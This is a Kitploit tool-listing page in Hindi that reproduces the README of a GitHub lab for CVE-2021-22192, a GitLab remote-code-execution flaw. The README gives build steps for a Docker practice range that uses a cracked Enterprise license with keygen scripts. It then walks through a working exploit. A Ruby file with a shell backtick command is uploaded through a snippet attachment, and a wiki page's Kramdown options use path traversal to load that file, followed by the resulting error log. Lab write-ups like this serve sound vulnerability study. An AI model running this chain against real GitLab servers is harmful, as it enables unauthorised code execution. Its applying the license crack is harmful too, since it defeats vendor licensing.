Skip to content
KitploitKITPLOIT
उपकरणब्लॉग
जमा करें
उपकरणब्लॉग
जमा करें

हैकिंग, पेनटेस्ट और साइबर सुरक्षा उपकरण आपके सुरक्षा शस्त्रागार के लिए!

Kitploit हैकिंग, साइबर सुरक्षा और पेंटेस्टिंग टूल्स की एक निर्देशिका है। कमजोरियों को खोजने, सिस्टम का विश्लेषण करने, परीक्षण को स्वचालित करने और अपनी सुरक्षा को मजबूत करने के लिए नवीनतम प्रोजेक्ट अपडेट खोजें।

··फ़ीड·संपर्क·गोपनीयता·© 2026 Kitploit

टूल निर्देशिका

श्रेणियाँ

सभी श्रेणियाँ देखें
Loading categories
CVE-2021-22192 — CVE-2021-22192 लैब: अनधिकृत उपयोगकर्ता RCE भेद्यता | Kitploit
उपकरण/GitHubGitHub/exp-docs/cve-2021-22192
भेद्यता विश्लेषणशोषणवेब एप्लिकेशन शोषणपेनिट्रेशन टेस्टिंगलर्निंग और शिक्षालैब और अभ्यास
GitHubexp-docs/cve-2021-22192

CVE-2021-22192

CVE-2021-22192 लैब: अनधिकृत उपयोगकर्ता RCE भेद्यता

रिपॉजिटरी देखें
3843 साल पहलेKitploit द्वारा समीक्षित

सबसे लोकप्रिय

सभी देखें →

हमारे समुदाय द्वारा सबसे अधिक उपयोग किए जाने वाले उपकरण खोजें।

सभी उपकरण खोजें

हमारे उपकरणों का संग्रह ब्राउज़ करें

सभी उपकरण देखें →
साझा करें

CVE-2021-22192

CVE-2021-22192 प्रैक्टिस रेंज: अनधिकृत उपयोगकर्ता RCE भेद्यता


0x10 प्रैक्टिस रेंज वातावरण

0x20 निर्देशिका संरचना

root@kitploit:~
CVE-2021-22192
├── README.md ............... [यह README स्पष्टीकरण]
├── imgs .................... [README स्पष्टीकरण के लिए सहायक चित्र]
├── gitlab .................. [Gitlab कंटेनर का माउंट निर्देशिका]
│   ├── Dockerfile .......... [Gitlab का Docker बिल्ड फ़ाइल]
│   ├── config .............. [Gitlab कॉन्फ़िगरेशन माउंट निर्देशिका]
│   ├── data ................ [Gitlab डेटा माउंट निर्देशिका]
│   ├── logs ................ [Gitlab लॉग माउंट निर्देशिका]
│   ├── keys ................ [Gitlab क्रैक्ड लाइसेंस संग्रहण निर्देशिका]
│   └── nginx ............... [Gitlab अंतर्निहित nginx कॉन्फ़िगरेशन निर्देशिका (बैकअप कॉन्फ़िग, संशोधित न करें)]
├── runner .................. [Gitlab कंटेनर का माउंट निर्देशिका]
├── license ................. [क्रैक लाइसेंस के लिए कंटेनर बिल्ड निर्देशिका]
│   ├── Dockerfile .......... [लाइसेंस का Docker बिल्ड फ़ाइल]
│   └── license.rb .......... [क्रैक लाइसेंस उत्पन्न करने के लिए Ruby स्क्रिप्ट]
├── test .................... [Kramdown डिबग निर्देशिका]
├── docker-compose.yml ...... [Docker का बिल्ड कॉन्फ़िगरेशन]
├── keygen.ps1 .............. [Windows: एक क्लिक में क्रैक लाइसेंस उत्पन्न करें]
├── keygen.sh ............... [Linux:   एक क्लिक में क्रैक लाइसेंस उत्पन्न करें]
├── run.ps1 ................. [Windows: एक क्लिक में Gitlab प्रैक्टिस रेंज चलाएँ]
├── run.sh .................. [Linux:   एक क्लिक में Gitlab प्रैक्टिस रेंज चलाएँ]
├── register.ps1 ............ [Windows: एक क्लिक में Runner पंजीकृत करें]
├── register.sh ............. [Linux:   एक क्लिक में Runner पंजीकृत करें]
├── stop.ps1 ................ [Windows: एक क्लिक में Gitlab प्रैक्टिस रेंज रोकें]
└── stop.sh ................. [Linux:   एक क्लिक में Gitlab प्रैक्टिस रेंज रोकें]

0x30 प्रैक्टिस रेंज स्थापना

0x31 बिल्ड

  • होस्ट मशीन पर docker और docker-compose पूर्व-स्थापित हों
  • यह रिपॉजिटरी डाउनलोड करें: git clone https://github.com/lyy289065406/CVE-2021-22192
  • क्रैक की-पेयर उत्पन्न करें: ./keygen.sh या ./keygen.ps1
  • Gitlab बनाएँ और चलाएँ (सुनिश्चित करें कि पोर्ट 80 खाली है): ./run.sh या ./run.ps1
  • लगभग 5 मिनट बाद ब्राउज़र से Gitlab में लॉगिन कर सकते हैं: http://127.0.0.1 (पहली बार लॉगिन पर व्यवस्थापक खाते root का पासवर्ड रीसेट करना आवश्यक है)

0x32 क्रैक

पहले क्रैक की-पेयर उत्पन्न करते समय, सार्वजनिक कुंजी (public key) पहले ही Gitlab कंटेनर में लिखी जा चुकी है, अब निजी कुंजी (private key) को फ्रंटएंड के माध्यम से Gitlab पर अपलोड करके क्रैक पूरा करना होगा:

  • की-पेयर ./gitlab/keys/ निर्देशिका में उत्पन्न होता है, इसके अंतर्गत .gitlab-license फ़ाइल की सामग्री (निजी कुंजी) को कॉपी करें
  • root उपयोगकर्ता से http://127.0.0.1/admin/license/new पृष्ठ खोलें
  • Enter license key चुनें और निजी कुंजी पेस्ट करें, Upload license बटन पर क्लिक करें, इस प्रकार क्रैक पूरा हो जाएगा

0x33 Runner सेट करना

  • root उपयोगकर्ता से http://127.0.0.1/admin/runners पृष्ठ खोलें
  • registration token खोजें और कॉपी करें
  • Runner पंजीकृत करें: ./register.sh $TOKEN या ./register.ps1 $TOKEN

अब सभी रिपॉजिटरी इस Runner का उपयोग करके CI स्क्रिप्ट (पाइपलाइन जॉब्स) निष्पादित कर सकते हैं

0x34 Gitlab Pages तक पहुँच

मान लें कि आपका Gitlab उपयोगकर्ता नाम ${username} है और रिपॉजिटरी नाम ${repository_name} है। जब रिपॉजिटरी पहले से jekyll का उपयोग करके SSG सफलतापूर्वक बना चुकी है, तो निम्नलिखित URL तक पहुँचें:

http://127.0.0.1:8000/${username}/${repository_name}/public/

0x40 प्रैक्टिस रेंज सत्यापन

विस्तृत प्रक्रिया के लिए hackerone देखें।

  1. किसी भी उपयोगकर्ता से शीर्ष पर + -> New snippet पर क्लिक करें
  2. Title जो चाहे भरें, Description (optional) के इनपुट बॉक्स पर क्लिक करें, फिर Attach a file पर क्लिक करके payload.rb नामक फ़ाइल अपलोड करें, जिसकी सामग्री इस प्रकार हो:
root@kitploit:~
puts "hello from ruby"
`echo exp was here > /tmp/exp`

इस समय Description (optional) में फ़ाइल का लिंक दिखाई देगा, उदाहरण: [payload.rb](https://github.com/exp-docs/cve-2021-22192/blob/HEAD/uploads/-/system/user/1/b5e4fed771f26ef75700ebf763f489ab/payload.rb), और फ़ाइल पहले ही docker_gitlab कंटेनर के /var/opt/gitlab/gitlab-rails/uploads/-/system/user/1/b5e4fed771f26ef75700ebf763f489ab/payload.rb पर अपलोड हो चुकी है। (Create snippet पर क्लिक करना आवश्यक नहीं है, बस इस फ़ाइल पथ के Hash को याद रखें)

ध्यान दें: किसी एक रिपॉजिटरी के बाएँ साइडबार में Snippet -> New snippet के माध्यम से न करें, अन्यथा फ़ाइल पथ [payload.rb](https://github.com/exp-docs/cve-2021-22192/blob/HEAD/uploads/b5e4fed771f26ef75700ebf763f489ab/payload.rb) के रूप में दिखाई देगा। वास्तव में docker_gitlab कंटेनर पर अपलोड पथ /var/opt/gitlab/gitlab-rails/uploads/@hash/random_string/payload.rb हो जाएगा, जिसमें बीच में एक यादृच्छिक स्ट्रिंग है, जिसका उपयोग करना कठिन है।

  1. शीर्ष पर + New Project पर क्लिक करें, नाम जो चाहे दें (जैसे poc, या न बनाएँ, मौजूदा रिपॉजिटरी का उपयोग भी कर सकते हैं)
  2. बाएँ Wiki पर क्लिक करें, फिर Create your first page पर क्लिक करें
  3. Title और Content जो चाहे भरें, Create page पर क्लिक करें
  4. अब Gitlab वर्तमान poc रिपॉजिटरी के लिए wiki रिपॉजिटरी उत्पन्न करेगा, जिसका नाम poc.wiki होगा (शीर्ष दाएँ Clone repository पर क्लिक करके clone कमांड पा सकते हैं: git clone http://127.0.0.1/root/poc.wiki.git)
  5. स्थानीय टर्मिनल में कमांड git clone http://127.0.0.1/root/poc.wiki.git && cd poc.wiki चलाकर wiki रिपॉजिटरी को स्थानीय रूप से डाउनलोड करें
  6. wiki रिपॉजिटरी की रूट निर्देशिका में नामक फ़ाइल जोड़ें, जिसकी सामग्री इस प्रकार हो (फ़ाइल पथ में Hash को पहले प्राप्त Hash से बदलना याद रखें):
root@kitploit:~
{::options syntax_highlighter="rouge" syntax_highlighter_opts="{formatter: Redis, driver: ../../../../../../../../../../var/opt/gitlab/gitlab-rails/uploads/-/system/user/1/b5e4fed771f26ef75700ebf763f489ab/payload.rb\}" /}
~~~ ruby
def what?
42
end
~~~
  1. फ़ाइल को Gitlab पर सबमिट करने के लिए कमांड चलाएँ: git add -A . && git commit -m "page1.rmd" && git push
  2. पहले Gitlab Wiki पृष्ठ पर वापस जाएँ, रिफ्रेश करें, दाहिने इंडेक्स बार में स्थानीय रूप से बनाए गए page1 पृष्ठ को देख सकते हैं, उस पर क्लिक करें
  3. पृष्ठ सामग्री प्रदर्शित होने की प्रतीक्षा करने के बाद, docker_gitlab कंटेनर में लॉगिन करें, पता चलेगा कि फ़ाइल /tmp/exp बन चुकी है

page1.rmd पृष्ठ पर क्लिक करने के बाद, वास्तव में gitlab/logs/gitlab-rails/exceptions_json.log में त्रुटि संदेश देख सकते हैं, लेकिन इससे कमांड के निष्पादित होने पर कोई प्रभाव नहीं पड़ता:

root@kitploit:~
{
    "severity": "ERROR",
    "time": "2021-04-26T10:36:07.978Z",
    "correlation_id": "A24bByUP9L5",
    "tags.correlation_id": "A24bByUP9L5",
    "tags.locale": "en",
    "user.id": 1,
    "user.email": "[email protected]",
    "user.username": "root",
    "extra.project_id": 1,
    "extra.file_name": "page1.rmd",
    "exception.class": "NameError",
    "exception.message": "wrong constant name ../../../../../../../../../../var/opt/gitlab/gitlab-rails/uploads/-/system/user/1/b5e4fed771f26ef75700ebf763f489ab/payload.rb",
    "exception.backtrace": [
        "lib/gitlab/other_markup.rb:11:in `render'",
        "app/helpers/markup_helper.rb:274:in `other_markup_unsafe'",
        "app/helpers/markup_helper.rb:153:in `markup_unsafe'",
        "app/helpers/markup_helper.rb:138:in `render_wiki_content'",
        "app/views/shared/wikis/show.html.haml:25",
        "app/controllers/application_controller.rb:134:in `render'",
        "app/controllers/concerns/wiki_actions.rb:68:in `show'",
        "ee/lib/gitlab/ip_address_state.rb:10:in `with'",
        "ee/app/controllers/ee/application_controller.rb:44:in `set_current_ip_address'",
        "app/controllers/application_controller.rb:491:in `set_current_admin'",
        "lib/gitlab/session.rb:11:in `with_session'",
        "app/controllers/application_controller.rb:482:in `set_session_storage'",
        "app/controllers/application_controller.rb:476:in `set_locale'",
        "lib/gitlab/error_tracking.rb:50:in `with_context'",
        "app/controllers/application_controller.rb:541:in `sentry_context'",
        "app/controllers/application_controller.rb:469:in `block in set_current_context'",
        "lib/gitlab/application_context.rb:52:in `block in use'",
        "lib/gitlab/application_context.rb:52:in `use'",
        "lib/gitlab/application_context.rb:20:in `with_context'",
        "app/controllers/application_controller.rb:462:in `set_current_context'",
        "ee/lib/gitlab/jira/middleware.rb:19:in `call'"
    ]
}
टूल डाउनलोड करें
page1.rmd